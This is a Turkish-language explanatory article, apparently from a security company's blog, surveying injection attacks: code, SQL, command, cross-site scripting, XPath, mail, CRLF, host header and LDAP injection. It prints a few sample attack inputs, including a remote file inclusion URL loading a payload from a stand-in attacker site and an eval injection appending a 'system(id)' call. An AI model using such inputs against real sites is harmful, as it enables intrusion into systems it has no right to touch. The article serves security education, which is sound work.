Webinar’a Katılın | Siber Tehditlere Karşı Güçlü Koruma

 

Code Injection

Code injection, uygulamaya zararlı kod enjekte eden atakları tanımlamak için kullanılan terimdir. Basitçe açıklamak gerekirse, enjekte edilen kod, uygulama tarafından çalıştırılır ve uygulamanın çalışma şeklini değiştirir.

Code Injection ve Command Injection birbirine çok benzese de aralarında fark vardır. Code Injection’da saldırgan, kullanılan dilin işlevselliği ile sınırlıdır. Örneğin saldırgan PHP kodu enjekte etmeyi başarıp, zararlı komutun çalıştırılmasını sağladıktan sonra PHP’nin yapabildikleriyle sınırlı kalır.

İnclude () fonksiyonunda input validation yapılmadan kullanılan senaryoda:

// Amaçlanan kullanım

http://zafiyetli-site.com/?path=sepet.php

// Zafiyetin sömürüldüğü kullanım

http://zafiyetli-site.com/?path=http://saldırgan-site.com/payload.php

eval()  fonksiyonunda input validation yapılmadan kullanılan senaryoda:

source code:

Injection Saldırı Çeşitleri - örnek görsel - 2

// Amaçlanan kullanım:

http://zafiyetli-site.com/index.php?arg=1

// Zafiyetin sömürülüğü kullanım:

http://zafiyetli-site.com/index.php?arg=1 ;system(id)

Structural Query Language Injection (SQLi)

Code Injection’ a benzer olarak, SQLI kullanıcıdan alınan verinin sanitise edilmeden uygulamaya gönderilip direkt olarak database de çalıştırılmasından ortaya çıkan ciddi bir zafiyettir. SQLI atağının sonucunda saldırgan, giriş sayfalarında “kullanıcı adı ve parola” kısmını bypass etmek, hassas bilgiyi okumak & değiştirmek, database’de admin yetkilerini kullanmak gibi birçok tehlikeli yetkiye sahip olur.

SQL Inection’ı en bilindik haliyle ana kollarına ayıracak olursak:

  1. In-band SQLi
  2. Blind SQLi
  3. Out-of-band Sqli

Şeklin de üç farklı kola ayırabiliriz.

In-Band SQLi

SQL Injection’da sömürülmesi en kolay olan atak türüdür.

Saldırganın atağı gerçekleştirdiği ve sonuçlarını aynı

Yer de gördüğü bu saldırı tipi ikiye ayrılır:

Error-based SQLi:

Injection Saldırı Çeşitleri - örnek görsel - 3 Saldırganın kasıtlı olarak database’de hata meydana getirecek şekilde sorgu isteği göndererek, istekte geri dönen hata mesajını temel alarak database yapısı hakkında bilgi edinme ve hatta bazı durumlarda tüm database bilgilerini elde edebildiği türdür.

Union-based SQLi:

Saldırganın ‘UNION’ ve ‘SELECT’ operatörlerini kullanarak,

HTTP response’un içinde tek bir sonuç olarak,

database’ in çalıştırdığı sorgu isteğinin sonucunu gösterir.

Injection Saldırı Çeşitleri - örnek görsel - 4

Blind SQLi

‘In-band sqli’ın aksine, saldırganın ‘blind sqli’ı sömürmesi daha uzun sürebilir. Ancak bu atak türü de diğer ‘sql injection’ lar kadar tehlikelidir. ‘Blind Sqli’da herhangi bir data web uygulaması tarafından transfer edilmediği için, saldırgan in-band saldırısındakinin aksine ekranında direkt olarak bir sonuç göremeyecektir.

Web sayfasında görülebilir sonuçlar yerine, saldırgan uygun payload’lar göndererek database ve web uygulamasının davranışını gözlemleyip database yapısını ve içeriğini öğrenebilmektedir.

Tıpkı ‘In-band SQLi’da olduğu gibi ‘Blind SQLi’da ikiye ayrılır.

Boolean-based:

Çıkarımsal SQL injection tekniği olan boolean based injection, adından da anlaşılacağı üzere gönderilen zararlı isteğin TRUE veya FALSE cevabına göre değişik sonuç gösterilmesinden çıkarım yapılabilen zafiyet türüdür. Sonuca göre HTTP isteğindeki içerikler aynı kalır veya değişkenlik gösterir. Saldırganın database’in içeriğini okuması (özellikle büyük database’lerde) numaralandırma işlemi karakter karakter yapılacağı için çok yavaş olacaktır.

Time-Based:

Boolean-based SQL injection’a benzer olarak, time-based injection’da gönderilen isteğin sonucunun TRUE veya FALSE olmasına bağlı olarak database’de saniye olarak bekleme işlemi oluşturur (örn: sleep (10)) veya sonuç direkt olarak saldırgana gelir. Böylece database’i numaralandırma işlemi tıpkı boolean-based saldırı tipinde olduğu gibi karakter karakter gerçekleşir.

Out-of-band SQLi

Web uygulaması tarafından kullanılan database’de bazı özelliklerin aktif edilmiş olması gerektiği için diğerleri kadar yaygın değildir. Out-of-band tekniği, server response’larının çok stabil olmadığı zamanlarda saldırgana alternatif sunmaktadır (time-based saldırıları için sunucunun stabil olması önemlidir).

OOB tekniği database sunucusunun DNS veya HTTP isteği ile saldırgana data transfer etmesine dayalıdır. Bu tip durumlarda Microsoft SQL sunucularında DNS isteği göndermek için xp_dirtree komutu, Oracle Database’lerinde HTTP isteği göndermek için UTL_HTTP paketi, saldırganın kontrolünde olan bir server’a göndermek için kullanılır.

Command Injection

Input validation eksikliğinden kaynaklanan bu injection türü, code Inputvalidation eksikliğinden kaynaklanan bu injection türü, code injection’ın aksine direkt olarak sistem üzerinde komut çalıştırmaya yarar. Enjekte edilen komutlar Host OS tarafından, uygulamanın yetkileriyle çalıştırılır ve sunucuda bulunan dosyaların okunması, kullanıcı parolalarının değiştirilmesi ve sistemin ele geçirilmesi gibi birçok tehditin kapılarını açar. Bu ataklar sysadmin tarafından, sunucuda çalışan web uygulamalarının yetki seviyesinin düzenlenmesiyle ve input validation gibi önlemlerle engellenebilir.

Cross-site Scripting

Kullanıcıdan alınan input’un valide edilmemesinden ortaya çıkan bu zafiyet türünde en yaygın olarak JavaScript kullanılır. Saldırgan “Same Origin Policy”’i atlatmasını sağlar. XSS açığının bulunduğu web sitesini açan (atağın en önemli kısımlarından biri; güvenilir sitelerde bile ortaya çıkabilmesidir.)  kurbanın web tarayıcısı, zararlı kodu HTML kodunun bir parçası olarak çalıştırır.

Injection Saldırı Çeşitleri - örnek görsel - 5

Session Hijacking, phishing gibi bir çok önemli tehditlerin gerçekleşmesine olanak sağlayan bu injection temelde üç ayrı ana kola ayrılır:

  1. Stored XSS
  2. Reflected XSS
  3. DOM-based XSS

Stored XSS

Stored XSS yani kalıcı XSS isminden de anlaşılacağı üzere, saldırgandan alınan zararlı kodun database vs. gibi ortamlarda saklanarak,

ilgili sayfaya her girildiğinde çalıştırılan XSS türüdür. Örneğin bir forum sitesinde yorumlara enjekte edilen bir XSS, kaldırılmadığı sürece sayfaya her girildiğinde kendini kurbanın web tarayıcısında tekrardan çalıştıra

Injection Saldırı Çeşitleri - örnek görsel - 6

Reflected XSS

İkinci ve en yaygın XSS tipi Reflected XSS (kalıcı olmayan XSS)dir. Bu atak türünde saldırganın zararlı kodu web sitesine gönderilen HTTP isteğinin bir parçası olmak zorundadır. Daha sonrasında HTTP isteğine gelen cevapta zararlı kod geri yansıtılır.

Injection Saldırı Çeşitleri - örnek görsel - 7

Sosyal mühendislik vb. Yollarla kurbana iletilen bağlantı ile zararlı kod kurbanın web tarayıcısında çalıştırılır ve atak sonuçlanır. Stored XSS’in aksine saldırgan oluşturduğu payload’ı her bir kurbana tek tek ulaştırmalıdır.

DOM-based XSS

DOM XSS olarak da bilinen DOM-based XSS; genellikle alınan veriyi DOM’un içine geri yazarak, güvensiz kaynaktan, güvensiz bir yöntemle alınarak client-side JavaScript’ten gelen verinin işlenmesinden ortaya çıkar.

// Aşağıda verilen örnekte; uygulama input alanından aldığı inputun değerini alarak HTML içindeki elemente yazmaktadır.

Injection Saldırı Çeşitleri - örnek görsel - 8

// Eğer saldırgan input alanının değerini kontrol edebiliyorsa kolaylıkla zararlı bir değer koyup uygulamanın zararlı kodu çalıştırmasını sağlayabilir.

Xpath Injection

Bu atak tipi, kullanıcıdan aldığı bilgi ile, XML verisi için XPath sorgusu oluşturduğu zaman ortaya çıkar. SQL injection’a çok benzeyen bu atak türünde saldırgan zararlı sorgular yollayarak XML verisinin yapısını öğrenir ve bu bilgiyle tekrardan saldırıya geçer.

XML verisinde sorgu çalıştırmak için, uygulamalar kullanıcı input’unu alıp veriyle eşleşen model oluşturur. Zararlı input gönderilerek bu model saldırganın elinde bir silaha dönüşebilir ve yetkisi olmayan verilere erişmek için kullanılabilir.SQL’in aksine, XPath injection’ın farklı çeşitleri yoktur. Böylece saldırılar otomatize edilebilir ve XML verisi için kullanıcı input’u kullanılan her web uygulamada bu saldırıdan söz edilebilir.

Mail Command Injection

Bu atak metodu IMAP veya SMTP’de doğru input validation yapılmayan email sunucularını ve uygulamalarını sömürmek için kullanılır.

Çoğu zaman web sayfaları ve uygulamalarında, ilgili alıcılara email mesajı gönderen iletişim formları kullanılır. Genellikle bu iletişim formları “header” kullanır. Header’lar web sunucundaki email kütüphaneleri tarafından derlenerek SMTP komutlarına çevrilir ve daha sonra SMTP sunucusu tarafından çalıştırılır.

Kullanıcı tarafından alınan input’lar genelde kontrol geçmediği için iletişim formları “email header injection”a karşı zafiyetli olabilir.  Saldırganlar bu header’lara ek olarak yeni header ekleyerek hazırladıkları zararlı kodları sistemde çalıştırabilir.

CRLF Injection

CRLF injection, injection atak tiplerinden biridir. XSS, web cache poisoning gibi atakları bir ileri seviyeye taşımak için kullanılabilir. Saldırganın web uygulamasına (örn. HTTP request’e verilen input) CRLF kodları enjekte edebildiği durumlarda bu ataktan söz edebiliriz.

CRLF’in açılımı “Carriage Return and Line Feed”dir. CR ve LF (sırasıyla ASCII 13 ve 10), “\r\n” olarak da geçer, End of Line (EOL) belirtmek için kullanılan özel karakterlerdir. CRLF sekansı Windows’un da içinde bulduğu işletim sistemlerinde ve (Linux/UNIX hariç) HTTP’nin de içinde olduğu internet protokollerinde kullanılır.

Host Header Injection

Birçok durumda, geliştiriciler link yaratmak, dışarı script aktarmak ve hatta parola sıfırlama linkleri oluşturmak için HTTP Host Header’lara güvenmektedirler. Bu güvenin kötü bir fikir olmasının sebebi HTTP Host Header’lar saldırgan tarafından değiştirilebilirler. Web-cache poisoning ve parola sıfırlama email’lerinin değiştirilmesi gibi zafiyetlerin sömürülmesine olanak sağlar.

Çözüm olarak web uygulaması Host Header yerine SERVER_NAME kullanmalıdır. Ayrıca web uygulaması bilinmeyen Host Header’ları yakalaması için sahte bir vhost (sanal host) oluşturmalıdır.

LDAP Injection

LDAP, ağdaki cihaz, dosya ve kullanıcıları aramak için dizayn edilmiş bir protokoldür. İç ağlar için, single sign-on system için kullanıldığında, kullanıcı adı ve parolaları saklamak için kullanışlı hale gelmektedir.

LDAP sorguları, diğer sorgularda da olduğu gibi özel kontrol karakterleri kullanmaktadır. Saldırganlar eğer erişim sağlayabilirse LDAP sorgusunun istenilen şekilde çalışmasını değiştirebilir ve kendi avantajına kullanabilir.

Yine diğer injection ataklarında da olduğu gibi temel sorun kullanıcıdan alınan input’ların valide edilmeden işlenmesidir.

 

Kategoriler Makaleler